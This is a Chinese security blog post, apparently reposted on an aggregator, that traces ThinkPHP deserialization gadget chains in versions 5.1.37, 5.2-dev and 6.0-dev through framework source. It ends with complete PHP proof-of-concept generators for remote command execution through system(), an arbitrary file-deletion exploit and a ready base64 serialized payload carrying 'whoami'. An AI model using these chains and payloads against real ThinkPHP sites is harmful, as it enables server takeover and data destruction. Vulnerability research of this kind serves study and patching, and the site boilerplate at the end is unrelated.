thinkphp json_原创干货 | Thinkphp序列化合总
聽說轉發(fā)文章
會給你帶來好運
最近Thinkphp幾個版本都出了反序列化利用鏈,這里集結在一起,下面是復現文章,poc會放在最后01Thinkphp5.1.37環(huán)境搭建
composercreate-project topthink/think=5.1.37 v5.1.37
poc演示截圖
調用鏈
單步調試
漏洞起點在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函數。
public function __destruct(){ $this->close(); $this->removeFiles();}private function removeFiles(){ foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = [];}這里同時也存在一個任意文件刪除的漏洞,exp如下
<?php namespace think\process\pipes;class Pipes{}class Windows extends Pipes{ private $files = []; public function __construct(){ $this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php']; }}echo base64_encode(serialize(new Windows()));這里$filename會被當做字符串處理,而__toString當一個對象被反序列化后又被當做字符串使用時會被觸發(fā),我們通過傳入一個對象來觸發(fā)__toString方法。
//thinkphp\library\think\model\concern\Conversion.phppublic function __toString(){ return $this->toJson();}//thinkphp\library\think\model\concern\Conversion.phppublic function toJson($options = JSON_UNESCAPED_UNICODE){ return json_encode($this->toArray(), $options);}//thinkphp\library\think\model\concern\Conversion.phppublic function toArray(){ $item = []; $hasVisible = false; ... if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加關聯對象屬性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } } ...}//thinkphp\library\think\model\concern\Attribute.phppublic function getAttr($name, &$item = null){ try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } 。。。 return $value;}//thinkphp\library\think\model\concern\Attribute.phppublic function getData($name = null){ if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}這里的this->append是我們可控的,然后通過getRelation(key),但是下面有一個!relation,所以我們只要置空即可,然后調用getAttr(key),再調用getData(name)函數,這里this->data['name']我們可控,之后回到toArray函數,通過這一句話relation->visible(name);我們控制$relation為一個類對象,調用不存在的visible方法,會自動調用__call方法,那么我們找到一個類對象沒有visible方法,但存在__call方法的類,這里
可以看到這里有一個我們熟悉的回調函數call_user_func_array,但是這里有一個卡住了,就是array_unshift,這個函數把request對象插入到數組的開頭,雖然這里的this->hook[method]我們可以控制,但是構造不出來參數可用的payload,因為第一個參數是this對象。
目前我們所能控制的內容就是
也就是我們能調用任意類的任意方法。
下面我們需要找到我們想要調用的方法,參考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最終產生rce的地方是在input函數當中,那我們這里可否直接調用input方法呢,剛剛上面已經說了,參數已經固定死是request類,那我們需要尋找不受這個參數影響的方法。這里采用回溯的方法
public function input($data = [], $name = '', $default = null, $filter = ''){ if (false === $name) { // 獲取原始數據 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } $data = $this->getData($data, $name); if (is_null($data)) { return $default; } if (is_object($data)) { return $data; } } // 解析過濾器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', ')) { // 恢復PHP版本低于 7.1 時 array_walk_recursive 中消耗的內部指針 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } 。。。protected function getFilter($filter, $default){ if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter;}protected function getData(array $data, $name){ foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return; } } return $data;}這里filter可控,data參數不可控,而且name= (string)name;這里如果直接調用input的話,執(zhí)行到這一句的時候會報錯,直接退出,所以繼續(xù)回溯,目的是要找到可以控制name變量,使之最好是字符串。同時也要找到能控制data參數
public function param($name = '', $default = null, $filter = ''){ if (!$this->mergeParam) { $method = $this->method(true); // 自動獲取請求變量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 當前請求參數和URL地址中的參數合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } if (true === $name) { // 獲取包含文件上傳信息的數組 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter);}array_merge($this->param, $this->get(false), $vars, $this->route(false));public function get($name = '', $default = null, $filter = ''){ if (empty($this->get)) { $this->get = $_GET; } return $this->input($this->get, $name, $default, $filter);}public function route($name = '', $default = null, $filter = ''){ return $this->input($this->route, $name, $default, $filter);}public function input($data = [], $name = '', $default = null, $filter = ''){ if (false === $name) { // 獲取原始數據 return $data; } ...}可以看到這里this->param完全可控,是通過get傳參數進去的,那么也就是說input函數中的data參數可控,也就是call_user_func的value,現在差一個條件,那就是name是字符串,繼續(xù)回溯。
public function isAjax($ajax = false){ $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false; if (true === $ajax) { return $result; } $result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result;}可以看到這里$this->config['var_ajax']可控,那么也就是name可控,所有條件聚齊。成功導致rce。
補充:
<?php function filterValue(&$value,$key,$filters){ if (is_callable($filters)) { // 調用函數或者方法過濾 $value = call_user_func($filters, $value); } return $value;}$data = array('input'=>"asdfasdf",'id'=>'whoami');array_walk_recursive($data, "filterValue", "system");02Thinkphp5.2.*-dev環(huán)境搭建
composercreate-project topthink/think=5.2.*-dev v5.2
poc演示截圖
調用鏈
單步調試
可以看到前面的鏈跟tp5.1.x的一樣,這里不在列舉,直接進去toArray函數,可以看到$data可控
public function toArray(): array{ 。。。 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 關聯模型對象 if (isset($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 關聯模型對象 $item[$key] = $val->toArray(); } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } 。。。public function getAttr(string $name){ try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = true; $value = null; } return $this->getValue($name, $value, $relation); }public function getData(string $name = null){ if (is_null($name)) { return $this->data; } $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; ... } }protected function getRealFieldName(string $name): string{ return $this->strict ? $name : App::parseName($name); //this->strict默認為true}可以看到getAttr函數中的value可控,那么導致this->getValue(name,value,relation); 這里的三個參數都可控,跟進this->getValue(name,value,$relation);
protected function getValue(string $name, $value, bool $relation = false){ // 檢測屬性獲取器 $fieldName = $this->getRealFieldName($name); $method = 'get' . App::parseName($name, 1) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($name); } $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);這里fieldName、this->withAttr,導致$closure也可控,最終直接產生RCE。如下圖
補充:
<?php $a = array();system('whoami',$a);03Thinkphp6.0.*-dev環(huán)境搭建
composercreate-project topthink/think=6.0.*-dev v6.0
poc演示截圖
調用鏈
單步調試
//vendor\topthink\think-orm\src\Model.phppublic function __destruct(){ if ($this->lazySave) { //$this->lazySave可控 $this->save(); }}//vendor\topthink\think-orm\src\Model.phppublic function save(array $data = [], string $sequence = null): bool{ // 數據對象賦值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控 if (false === $result) { return false; }//vendor\topthink\think-orm\src\Model.phppublic function isEmpty(): bool{ return empty($this->data); //可控}protected function trigger(string $event): bool{ if (!$this->withEvent) { //可控 return true; } ...}protected function updateData(): bool{ // 事件回調 if (false === $this->trigger('BeforeUpdate')) { //可控 return false; } $this->checkData(); // 獲取有更新的數據 $data = $this->getChangedData(); if (empty($data)) { //$data可控 // 關聯更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // 自動寫入更新時間 $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 檢查允許字段 $allowFields = $this->checkAllowFields();public function getChangedData(): array{ $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; } //$this->force可控 return is_object($a) || $a != $b ? 1 : 0; }); // 只讀字段不允許更新 foreach ($this->readonly as $key => $field) { if (isset($data[$field])) { unset($data[$field]); } } return $data;}protected function checkAllowFields(): array{ // 檢測字段 if (empty($this->field)) { //$this->field可控 if (!empty($this->schema)) { //$this->schema可控 $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();public function db($scope = []): Query{ /** @var Query $query */ $query = self::$db->connect($this->connection) //$this->connection可控 ->name($this->name . $this->suffix) //$this->suffix可控,采用拼接,調用_toString ->pk($this->pk);后面的鏈跟之前的一樣,這里就不分析了
04所有pocv5.1.37
<?php namespace think;abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["dir","calc"]]; $this->data = ["ethan"=>new Request()]; }}class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ // 表單請求類型偽裝變量 'var_method' => '_method', // 表單ajax偽裝變量 'var_ajax' => '_ajax', // 表單pjax偽裝變量 'var_pjax' => '_pjax', // PATHINFO變量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO獲取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默認全局過濾方法 用逗號分隔多個 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理標識 'https_agent_name' => '', // IP代理獲取標識 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL偽靜態(tài)后綴 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{ private $files = []; public function __construct(){ $this->files=[new Pivot()]; }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/?>v5.2.*-dev
<?php namespace think\process\pipes { class Windows { private $files; public function __construct($files){ $this->files = array($files); } }}namespace think\model\concern { trait Conversion { protected $append = array("Smi1e" => "1"); } trait Attribute { private $data; private $withAttr = array("Smi1e" => "system"); public function get($system){ $this->data = array("Smi1e" => "$system"); } }}namespace think { abstract class Model { use model\concern\Attribute; use model\concern\Conversion; }}namespace think\model{ use think\Model; class Pivot extends Model{ public function __construct($system){ $this->get($system); } }}namespace{ $Conver = new think\model\Pivot("whoami"); $payload = new think\process\pipes\Windows($Conver); echo base64_encode(serialize($payload));}?>?
v6.0.*-dev
<?php /** * Created by PhpStorm. * User: wh1t3P1g */namespace think\model\concern { trait Conversion{ protected $visible; } trait RelationShip{ private $relation; } trait Attribute{ private $withAttr; private $data; protected $type; } trait ModelEvent{ protected $withEvent; }}namespace think { abstract class Model{ use model\concern\RelationShip; use model\concern\Conversion; use model\concern\Attribute; use model\concern\ModelEvent; private $lazySave; private $exists; private $force; protected $connection; protected $suffix; function __construct($obj){ if($obj == null){ $this->data = array("wh1t3p1g"=>"whoami"); $this->relation = array("wh1t3p1g"=>[]); $this->visible= array("wh1t3p1g"=>[]); $this->withAttr = array("wh1t3p1g"=>"system"); }else{ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->data = array("wh1t3p1g"=>[]); $this->connection = "mysql"; $this->suffix = $obj; } } }}namespace think\model { class Pivot extends \think\Model{ function __construct($obj) { parent::__construct($obj); } }}namespace { $pivot1 = new \think\model\Pivot(null); $pivot2 = new \think\model\Pivot($pivot1); echo base64_encode(serialize($pivot2));}所有Thinkphp版本下載鏈接
https://packagist.org/packages/topthink/framework
●?云眾可信征稿進行時
●?原創(chuàng)干貨 | 記一次擬真環(huán)境的模擬滲透測試
●?原創(chuàng)干貨 | 從手工去除花指令到Get?Key
●?原創(chuàng)干貨 | 淺談被動探測思路
·END·
云眾可信原創(chuàng)·干貨·一起玩
好看的人才能點 創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的thinkphp json_原创干货 | Thinkphp序列化合总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 专家:中国汽车业利润已暴跌30%!这是打
- 下一篇: SpaceX 龙飞船成功与国际空间站对接